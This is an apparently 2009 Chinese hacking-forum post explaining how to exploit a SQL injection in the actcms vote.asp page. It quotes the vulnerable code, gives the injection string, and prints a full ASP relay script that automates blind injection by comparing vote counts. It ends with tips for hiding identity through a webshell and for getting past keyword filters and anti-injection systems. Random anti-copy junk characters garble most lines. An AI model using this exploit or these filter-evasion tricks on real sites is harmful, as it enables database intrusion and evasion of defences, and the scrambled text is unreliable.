; Y" w4 B' k* i! T看到ninty大牛的blog的一篇文章9 l3 |6 J& r' x
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]8 U" r+ y- @; r; n$ r4 y
关于actcms漏洞的利用 by 3x qq:381862589
1 O& t- k+ R) ~! E转载请注明以上
& u* l7 n# f2 J# \: ?* V漏洞文件:
2 {, Z) u3 A4 H# A+ T/plus/vote/vote.asp* _5 I" b. w8 j" j7 ]% d
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
' N4 m8 a& f2 q/ X0 e4 y% q
0 z7 L% X* Q6 a9 n2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
& r" w1 ~7 o1 @2 z6 Z
- t9 \- D2 _, M" N' n3 response.end
; A. B' K. w6 l8 i% W, K t9 F+ f/ L5 n; H& T' j8 Y
4 end if
1 c# \+ _, P% S' s* j ~
- \9 c" k8 {9 n: ?% ~. M& }" w5 for i=1 to request("voted").count $ g! G+ J; M! ^' n
7 a7 D" \6 J0 s7 d0 _! P# @3 y
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) $ D) H8 n) ~- I$ `- ]7 y( `
2 z7 ~) I' `( E* j: Y
7 next " R5 a# N2 A8 G, M) ?# \" N
: T- V0 Z, p7 _7 J8.... - A$ @$ O: f! b! b: R* U
, o! b' A$ h" Z4 _+ ]$ s+ h
9response.Redirect "index.asp?id="&id&"" - t G, }5 l* z& R# B
投票结束回跳转回index.asp这个投票结果页面
c% m" J$ ~1 ], f如果投票成功票数加1) q, C, l% i; x8 e' I
失败票数不变
% Z" d$ o0 K) r2 C- f4 `. H7 m如图:0 [( j* h* |. F E) t n/ [ a
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
! ?4 r0 \0 k; G! a. S! v/ t* t! ?9 Z/ F
2009-12-27 13:20; ?/ t7 N% V6 i3 I& i, D
" ]8 z: h9 k* ~
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了5 q7 ?) V7 J. C4 b4 m/ S, j
) l1 V5 [! a' p
本帖隐藏的内容需要回复才可以浏览 R2 C# `( W5 z, b# j! p9 B( y2 F
我们用注入中转来实现这个注入具体代码如下:
$ m/ q$ W3 T3 H' K先用寂寞的刺猬大牛的注入中转生成jmget.asp
( e0 K% k2 r: I: }6 V; y$ Q! Q注入地址:http://localhost/actcms/plus/vote/vote.asp0 G1 w( k2 ?8 b: K" y5 M
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
0 C1 L) _; T; v% O7 l: Y" V+ r; U& r8 t9 b9 A: h4 W
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
; Y' Q7 T$ B: K: P) N7 K3 E, {- z0 F+ h6 O
02JmdcwName=request("jmdcw") % X" f. i0 U! |5 \: [4 S! m" e
6 b8 G- W9 |& I6 I* A7 f2 f03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
# E7 z8 b# H2 ?/ g
/ g# n. m8 s$ x; E7 N7 |04JmStr="id=1&voted=-1 or 1="&JmdcwName 4 Y1 U4 m5 Y. b) H. \/ P
) x1 P) [! H( m! A+ G- e5 Y+ Y C
05JmStr=URLEncoding(JmStr) - r: K' j% v* O9 u2 n. c
. h% I( f' X! K/ I% w& [06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp", I# p9 L; L+ H; j! [
. Y3 s4 b9 I. F& ]$ K2 r& ^- z
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
. B$ I0 W0 f+ E5 d+ M( J) e3 m& @" v+ I
08testurl=testurl & "?" & JmStr
# l8 M& h8 W8 s, e* S0 j2 h* Q' W% ^5 c; r
09JMUrl=JMUrl & "?" & JmStr
1 p' D3 X4 R0 l; _0 y) N2 L. l- r- Y8 m7 s: E7 @
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
& l& m( q8 e" K, J! R) g7 f& n& |$ {$ M$ V+ I" D" a% R2 C
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
0 M' j! `8 q! k3 x7 e, Z
+ B L1 t/ ?' f2 T: ^12JmCok=replace(JmCok,chr(32),"%20") : a( d+ a2 Z- Q V8 H4 ~' X
3 i" S, P- I+ O( Z13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
3 {, U* q8 ` d! s, [
9 k t- r& c7 O' }4 C* ~( v$ ^$ @14 / ]& B& U- @+ S3 c
5 [+ ~7 P; c9 P" R# r+ Y! M
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 5 M& b% @6 H! ]& G" G. L
0 d H) o7 R/ m# b: K" d' T l% K- y16
7 u* J& k) s' m3 b3 x; C" e+ P
: T1 B: [& r* `: e/ t17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
& X; N2 G" z0 @& F1 N$ S7 E& ^7 o% _! c! V2 M
18response.write test1&""&test2&""
) M1 g' u' D9 o& y+ d! [. q% v( r0 Y2 \+ a6 t5 w/ L8 B
19
9 i6 W) X7 X' @& H- \1 c) Q3 S4 M; B( @# V6 c
20if test1=test2 then '如前后记录相等,表示失败 8 i( S+ Q/ m, y- Z
# p/ a6 ?# ]" L6 D& f8 L1 I# x i- S3 _
21 response.write "failed"
3 e( J) q8 Y0 v0 C3 B& Q" T7 J5 I4 E, H- _ y- z
22else
8 C/ d8 j. H8 t9 n
. C8 T2 ], t t, v' |! g6 }0 I23 response.write "succeed"; g$ z( K! a- c3 B3 c1 o+ z$ B. F
[ i' b9 C1 y2 A- {9 ~- X$ P+ ~
24end if
- C* ^- o6 f% S: G! X& U0 F8 d- q K: h3 K
25
1 P+ x$ N6 H0 C/ T' Z* k$ v
4 C+ w; D1 f) z% I. w$ M+ [. i26response.write "by 3x"$ }, [5 d( X, J6 t! r
: k6 w" A" B4 Y
27
& N# _! ]& }2 h/ V- I# \2 ~: N9 `) @& J# e; I
28 , R0 ?& p) r2 a( T h
L Q+ ~0 s! l8 j# p( a29Function PostData(PostUrl,PostStr,PostCok,PostRef)
3 e5 `) w! h% B0 c. E/ M2 ?; Y+ O" B X* E+ d B7 G
30Dim Http
8 E/ k7 N8 K6 _. y3 s( R6 l4 q9 _1 a$ k
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") . v; k4 z1 x- F. R$ M) H' d* v
: G0 N% |6 o# c" n& U32With Http ; O4 L! t" s! K( R+ n
0 N- I# P, b. L
33
6 O/ X0 I, i4 `7 }
' F5 m7 H% J+ A( s34.Open "GET",PostUrl,False
- u5 T+ p. l9 {% G# L: \0 D- t- j3 h
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
% r3 L4 K- V' T2 H" r0 R0 w& p; d; b& ~6 ]3 H! K
36.SetRequestHeader "Referer",PostRef
3 E' e; l4 J8 D1 A: M# P, H" H0 p5 M1 u7 F; m
37.SetRequestHeader "Cookie",PostCok
8 A' E4 m2 S7 w; i* W
2 `$ s! a2 h5 X3 c7 K38.Send ()
6 x0 i9 n2 W4 f/ C. N$ G9 ^5 A9 \. g, Q% T3 M3 l* ~ F1 U
39PostData = .ResponseBody
. m1 x0 n/ E4 D# p* y/ N$ v) c4 X: u, N D
40End With
" m) W. B- i7 c9 B( s A6 ~( ]1 H9 U* \9 ?6 v( \' R* D
41Set Http = Nothing
, h! ?5 `4 P! D$ w4 r, E4 ?+ U" U, R2 X9 z3 J( v6 Z( ?
42PostData =bytes2BSTR(PostData) " r* ~4 F5 {( c( T/ S" F
9 B8 ^ e# { j1 k3 |5 E
43End Function
3 s! `/ K6 p4 I8 i( y% @ F$ v' O3 l7 f
44
" @ K# C& p4 i1 e
* H( v2 u2 A+ K/ u45 Z5 p* v7 K2 u: W! k
o! s6 d8 c { B- [46Function bytes2BSTR(vIn)
/ y4 Z/ b& _5 r, Z, v+ K! c. ~$ Q) f# F2 R: {
47Dim strReturn , s5 r0 b/ M& @; m
9 l, e1 }8 I) \8 w. ]1 A# F
48Dim I, ThisCharCode, NextCharCode / `# B0 q3 T) B, @
1 ^; D5 o. {1 h7 a49strReturn = ""& }/ f s& x$ ?' l
1 t: ]# [; y5 c
50For I = 1 To LenB(vIn)
7 P* y$ ^6 N0 O$ A2 A' t6 r4 L
5 C" R2 f' T8 x! d6 Y! ?51ThisCharCode = AscB(MidB(vIn, I, 1)) 1 t1 N$ f$ U5 ?+ W
2 E6 M9 E* O A0 r4 m. \ }
52If ThisCharCode < &H80 Then
) P3 w, O; p: x7 p* }: Y3 v# g }! m* F- V4 c# A
53strReturn = strReturn & Chr(ThisCharCode) ' `! j! _) C' \1 h
3 X( o8 K, n* k54Else
% M: |6 P. \% r; T7 Z* D* H% |8 I; a9 t2 _' ]' b+ J8 u' Q
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' q/ b5 ~3 _' B D+ N2 W0 G9 I: x0 w0 x. ^( d9 F5 j* R) D! `
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) . B( ^3 e' |+ Q6 {8 o
. u2 }, `* C) z2 r; T8 D/ \( o4 I% j0 E t57I = I + 1
' f8 A7 d6 v4 T+ C# R* [/ t) \: E, F ?9 }
58End If
& o. ^: H. o3 l6 ]& a# G( | ^1 |
6 g2 F1 M$ b8 I* k- D9 |, [59Next3 z- n# x; d! e) a
; A2 v! Q" {* B& T60bytes2BSTR = strReturn G/ R; R+ W6 Z0 u2 |5 T# i# K
/ ^; {( i: Y4 A* f$ F61End Function6 }: ^. P# Q/ a. X* o
- |" r3 ?. m& J' c# e2 D: w! ?3 ]
62 + @ F) v* e* X5 i% l+ b6 P
' n/ q) r, x+ U* p+ W2 B
63Function URLEncoding(vstrin) / D- W$ }1 Z% c; e9 T6 c1 R+ a+ t
9 ]4 L; ^$ z( y J( N0 |$ h7 {* T
64strReturn=""1 `! P, b3 |2 K( {
5 @7 Z: Q7 d; }; \6 _0 B k/ j
65Dim i
$ t/ F) A! a) c! W! H0 }& g }9 f
66For i=1 To Len(vstrin)
2 H9 H- Q. a; n
+ \$ y' k f5 u/ s" `67ThisChr=Mid(vstrin,i,1) - M3 F/ H2 z8 Q0 \7 \
9 a U# m: C5 o) y+ F* N& ~* @
68if Abs(Asc(ThisChr))< &HFF Then) k8 C* o* U* r" @0 q
) [: v" i. o }% r69strReturn=strReturn & ThisChr
2 R' R( T% q4 F/ C
9 k0 T" q: Y0 C! _: L70Else2 u" B: U5 C" d2 q
% z* M. e% d* i! e2 X0 T" H71InnerCode=Asc(ThisChr)
. a5 V4 k- E, I& }7 S2 Y5 N9 g3 o V ? v/ y
72If InnerCode<0 Then
1 \9 C' }$ R9 e' E" ?7 R$ q/ }. @1 B4 J/ c7 U
73InnerCode=InnerCode + &H10000 , G) m; Q E0 [7 R m/ G. i
6 \" N) D6 t+ j2 N
74End If) ~( Q3 |' L; Q8 N" X5 B- C
3 ], c9 O3 G! |, t. F
75Hight1=(InnerCode And &HFF00) \&HFF
) G! p' n& E0 v! s7 s8 h. p' @) Y) h
76Low1=InnerCode And &HFF
. ~% m- U N3 m/ Q& R
5 ?& s8 z+ @3 R+ y8 m77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 6 w( P& v3 s1 _0 X G+ o8 b1 x
0 e. B! a, W) T+ ~78End if
& u) u- ^$ v+ |. ^% b+ H$ j5 Y& z: b4 P3 j! x) y2 f' l
79Next6 |% S) p7 m! g2 [0 b
. ?' ?# h$ `6 i! C; n/ B$ R/ [- o! T80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 5 \: E2 J6 O. N, H( B) x
% ]+ C0 L0 I5 M7 w7 U81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
8 r7 h- |' p \+ v5 b$ P5 X! T& {$ ^% X6 J% F4 w+ b
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 4 ~( r' f3 {6 o) |# K3 `4 k
9 _3 Q0 u0 t, T( t% g. L
83URLEncoding=strReturn ) W! G$ Y M" ]' Q: g) n% u
6 D' c0 C( v7 I' I7 c# N
84End Function6 [5 y+ @4 i1 X5 T
4 l; V2 ^) k; t* O4 t
85
2 r5 p% Q' h9 s! _5 d" K; G. a" c5 I3 C2 q- K
86function getSt(body)
+ T$ G6 e4 J, k4 ?
$ e [: Q! q r& B* k7 f87 startpot=instr(body,"投票人数:")+len("投票人数:") / {5 F( B# M2 H/ j
0 C. K) X8 S; X8 X88 endpot=instr(startpot,body," ") f, ?. G) F3 p1 x% Y
- w5 `* ] d' J. t# s* Q$ s
89 getSt=mid(body,startpot,endpot-startpot) 9 M. s, j N% L: T5 k- h& u0 B
1 e/ R! o D) I( R* C8 F4 p; c
90end function # ^9 n5 h% ]+ C
2 P: S2 o* L6 T# M5 y) u, H91%>
; E( p$ d* q& W" S) x' ]6 [; ]注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了& A/ n% z% b0 H) E# p" i
测试下效果:
3 F: V9 D7 D' C7 p2 C# w. ~; K7 M5 E投票成功:1 w8 o& ?1 ?. q2 ?( a2 _
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
/ w$ U/ u+ u* x7 b1 U7 N) Z t y: K1 T! R# `+ n
2009-12-27 13:29& p& S0 H* a7 W: J2 P& D; y5 |
投票失败
, o4 X3 q8 F1 W4 p, `) s6 Z4 \, qhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
% Y$ u5 m# j& S* R+ c
Q+ }# i2 {4 Z2009-12-27 13:292 S. ~( T% s! F& Q; p% D
-------------------------------------------------------------------------------2 \4 w0 V# @* a
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
Y9 l0 b) D; o( Q( u很抱歉。。。只能用单线程工具去注入。。。。。
: h8 l3 r' u% L所以失败。。。不好意思。。。
4 L4 U8 F2 R y/ k0 T3 |" R4 }-------------------------------------------------------------------------------2 N. `* L' g. H4 Q
% j$ T, H9 a0 a: m
注入中转的一些其他应用/ D/ Y& M3 U7 _' O/ Z1 ?
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了- k) a- o9 j% U& M
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id: c# p0 A: Q2 u' L+ T
2.post注入转成get型的注入,方便我们使用工具来跑; k3 _2 U" x. D
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")2 R% a3 y5 H# L6 R
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
5 {# C5 R9 e# v8 j8 }6 y8 V2 p" P" a+ N' ^0 x
|